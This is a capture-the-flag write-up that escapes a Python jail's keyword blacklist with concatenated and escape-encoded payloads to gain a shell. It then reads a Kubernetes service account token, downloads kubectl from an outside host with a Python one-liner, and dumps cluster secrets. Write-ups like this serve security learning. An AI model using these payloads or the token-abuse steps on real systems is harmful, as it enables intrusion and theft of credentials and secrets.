InCTF Pro 21 Finals - PyJail K8
This is an interesting challenge based on Kubernetes pod security, which allows a normal user to view sensitive data if he has access to K8’s service account JWT token
While connecting to the server, it displays a simple PyJail. PyJail is like a sandboxed program where you can run commands with restriction & limited access
Lets connect to the server,
┌──(kali㉿kali)-[~]
└─$ nc 34.93.14.197 31337
Hi! Welcome to pyjail!
def main():
print("Hi! Welcome to pyjail!")
print(open(__file__).read())
print("RUN")
text = input('>>> ')
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write','process','socket','help']:
if keyword in text.lower():
print("No!!!")
return;
else:
exec(text)
if __name__ == "__main__":
main()
RUN
>>>
It seems like, our inputs are being executed by exec()
in Python
But, most of the useful commands like ‘eval’, ‘exec’, ‘import’, ‘open’, ‘os’, ‘read’, ‘system’, ‘write’,’process’,’socket’,’help’ are blacklisted
It is always a good idea to start fuzzing the PyJail programs with SSTI (Server Side Template Injection) payloads. Sometimes, some payload may give some result
Also, we can use string concatenation and other functions to bypass these restrictions (depends on the program)
Lets start our fuzzing for our perfect payload with __builtins__
┌──(kali㉿kali)-[~]
└─$ nc 34.93.14.197 31337
Hi! Welcome to pyjail!
def main():
print("Hi! Welcome to pyjail!")
print(open(__file__).read())
print("RUN")
text = input('>>> ')
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write','process','socket','help']:
if keyword in text.lower():
print("No!!!")
return;
else:
exec(text)
if __name__ == "__main__":
main()
RUN
>>> print(__builtins__)
<module 'builtins' (built-in)>
From __builtins__
lets try importing modules to call their function
Our payload to get RCE is,
print(getattr(getattr(globals()['__builtins__'],'__im'+'port__')('o'+'s'),'sys'+'tem')('whoami'))
Passing this payload on the server to get arbitrary RCE
┌──(kali㉿kali)-[~]
└─$ nc 34.93.14.197 31337
Hi! Welcome to pyjail!
def main():
print("Hi! Welcome to pyjail!")
print(open(__file__).read())
print("RUN")
text = input('>>> ')
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write','process','socket','help']:
if keyword in text.lower():
print("No!!!")
return;
else:
exec(text)
if __name__ == "__main__":
main()
RUN
>>> print(getattr(getattr(globals()['__builtins__'],'__im'+'port__')('o'+'s'),'sys'+'tem')('whoami'))
nobody
0
Enumerating with other commands,
...
RUN
>>> print(getattr(getattr(globals()['__builtins__'],'__im'+'port__')('o'+'s'),'sys'+'tem')('id'))
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
0
...
RUN
>>> print(getattr(getattr(globals()['__builtins__'],'__im'+'port__')('o'+'s'),'sys'+'tem')('uname -a'))
Linux inctf-python-jail-56b4f88577-xhc7w 5.4.144+ #1 SMP Tue Sep 28 10:08:22 PDT 2021 x86_64 x86_64 x86_64 GNU/Linux
0
So we are able to perform RCE on the server. Its time to gain foothold by spawning shell on the server,
Payload to spawn shell (Thanks to h4x5p4c3
)
getattr(getattr(getattr(main, '__globals__')['__builtins__'], '\x65\x78\x65\x63')('\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\57\142\151\156\57\163\150\47\51'))
Passing this payload to the server,
...
RUN
>>> getattr(getattr(getattr(main, '__globals__')['__builtins__'], '\x65\x78\x65\x63')('\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\57\142\151\156\57\163\150\47\51'))
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
whoami
nobody
Converting it into Pseudo Shell,
python3 -c "import pty;pty.spawn('/bin/bash')"
bash: /root/.bashrc: Permission denied
nobody@inctf-python-jail-56b4f88577-hrgt6:/$ id
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
After running ps
, we know that the python script running on server is at /app/
Getting our flag for our first challenge,
nobody@inctf-python-jail-56b4f88577-hrgt6:/$ cd app
cd app
nobody@inctf-python-jail-56b4f88577-hrgt6:/app$ ls
ls
chall.py flag.txt
nobody@inctf-python-jail-56b4f88577-hrgt6:/app$ cat flag.txt
cat flag.txt
inctf{pyth0n_jail_is_fun_ri8}
For now, we have only completed the first half of the K8 challenge
There is much more to do on this Kubernetes Pod after gaining Shell/RCE
The description of this challenge is given,
hope you escaped python from jail,now try to find the secrets of k8s
They have mentioned about Secrets of K8, and actually there are some information about it
Lets try to enumerate K8’s secret,
Checking the mount file system,
$ mount | grep kubernetes
mount | grep kubernetes
tmpfs on /run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime)
There is something on /run/secrets/kubernetes.io/serviceaccount
Listing it,
$ ls -la /run/secrets/kubernetes.io/serviceaccount
ls -la /run/secrets/kubernetes.io/serviceaccount
total 4
drwxrwxrwt 3 root root 140 Jan 9 05:56 .
drwxr-xr-x 3 root root 4096 Jan 8 08:02 ..
drwxr-xr-x 2 root root 100 Jan 9 05:56 ..2022_01_09_05_56_47.741267893
lrwxrwxrwx 1 root root 31 Jan 9 05:56 ..data -> ..2022_01_09_05_56_47.741267893
lrwxrwxrwx 1 root root 13 Jan 8 08:02 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root 16 Jan 8 08:02 namespace -> ..data/namespace
lrwxrwxrwx 1 root root 12 Jan 8 08:02 token -> ..data/token
Here we can confirm that these are service account’s secret
And we can find token
which is a JWT token, used for authorization
Using this we can enumerate more about the kubernetes cluster, using kubectl
Viewing the JWT token and setting it into a variable,
$ cat /run/secrets/kubernetes.io/serviceaccount/token
cat /run/secrets/kubernetes.io/serviceaccount/token
<JWT TOKEN VALUE>
$ token=<JWT TOKEN VALUE>
Download kubectl
from here
Since we don’t have wget
and curl
, we need to use a python oneliner to download kubectl
,
$ cd /tmp
cd /tmp
$ python3 -c "import urllib.request;urllib.request.urlretrieve('http://bashupload.com/qPWJS/kubectl','kubectl')"
python3 -c "import urllib.request;urllib.request.urlretrieve('http://bashupload.com/qPWJS/kubectl','kubectl')"
$ ls -la
ls -la
total 49188
drwxrwxrwt 1 root root 4096 Jan 9 06:22 .
drwxr-xr-x 1 root root 4096 Jan 8 08:02 ..
-rw-r--r-- 1 nobody nogroup 50359943 Jan 9 06:22 kubectl
$ chmod +x kubectl
chmod +x kubectl
$ ls -la
ls -la
total 49188
drwxrwxrwt 1 root root 4096 Jan 9 06:22 .
drwxr-xr-x 1 root root 4096 Jan 8 08:02 ..
-rwxr-xr-x 1 nobody nogroup 50359943 Jan 9 06:22 kubectl
Now we should be able to run kubectl
inside /tmp
,
$ ./kubectl
./kubectl
kubectl controls the Kubernetes cluster manager.
Find more information at https://github.com/kubernetes/kubernetes.
Basic Commands (Beginner):
create Create a resource by filename or stdin
expose Take a replication controller, service, deployment or pod and expose it as a new Kubernetes Service
run Run a particular image on the cluster
set Set specific features on objects
...
Configuring KUBECONFIG
along with our, Service Account Token
$ touch /tmp/c
touch /tmp/c
$ KUBECONFIG=/tmp/c /tmp/kubectl config set-credentials foo --token=$token
KUBECONFIG=/tmp/c /tmp/kubectl config set-credentials foo --token=$token
User "foo" set.
Getting namespaces
,
$ KUBECONFIG=/tmp/c /tmp/kubectl get ns
KUBECONFIG=/tmp/c /tmp/kubectl get ns
NAME STATUS AGE
default Active 4d
kube-node-lease Active 4d
kube-public Active 4d
kube-system Active 4d
super-secret-namespace Active 4d
There is an interesting namespace super-secret-namespace
Lets try viewing secrets for this namespace,
$ KUBECONFIG=/tmp/c /tmp/kubectl --namespace=super-secret-namespace get secrets
KUBECONFIG=/tmp/c /tmp/kubectl --namespace=super-secret-namespace get secrets
NAME TYPE DATA AGE
default-token-8pzrw kubernetes.io/service-account-token 3 4d
ulta-secure-secret Opaque 1 3d
$ KUBECONFIG=/tmp/c /tmp/kubectl --namespace=super-secret-namespace get secrets ulta-secure-secret
KUBECONFIG=/tmp/c /tmp/kubectl --namespace=super-secret-namespace get secrets ulta-secure-secret
NAME TYPE DATA AGE
ulta-secure-secret Opaque 1 3d
There is an Opaque
secret type named ulta-secure-secret
,
Dumping that secret as YAML,
$ KUBECONFIG=/tmp/c /tmp/kubectl --namespace=super-secret-namespace get secrets ulta-secure-secret -o yaml
KUBECONFIG=/tmp/c /tmp/kubectl --namespace=super-secret-namespace get secrets ulta-secure-secret -o yaml
apiVersion: v1
data:
hmm: aW5jdGZ7V293X3lvdV9rbm93X0s4c192M3J5X3czbGxfZ2dfOil9
kind: Secret
metadata:
annotations:
kubectl.kubernetes.io/last-applied-configuration: |
{"apiVersion":"v1","data":{"hmm":"aW5jdGZ7V293X3lvdV9rbm93X0s4c192M3J5X3czbGxfZ2dfOil9"},"kind":"Secret","metadata":{"annotations":{},"name":"ulta-secure-secret","namespace":"super-secret-namespace"},"type":"Opaque"}
creationTimestamp: 2022-01-05T13:51:28Z
managedFields:
- apiVersion: v1
fieldsType: FieldsV1
fieldsV1:
f:data:
.: {}
f:hmm: {}
f:metadata:
f:annotations:
.: {}
f:kubectl.kubernetes.io/last-applied-configuration: {}
f:type: {}
manager: kubectl-client-side-apply
operation: Update
time: 2022-01-05T13:51:28Z
name: ulta-secure-secret
namespace: super-secret-namespace
resourceVersion: "593287"
uid: cdbfe665-b3c5-47b4-97c0-5a93f0cdd193
type: Opaque
Decoding that interesting string with base64,
echo aW5jdGZ7V293X3lvdV9rbm93X0s4c192M3J5X3czbGxfZ2dfOil9 | base64 -d
inctf{Wow_you_know_K8s_v3ry_w3ll_gg_:)}
For more reference,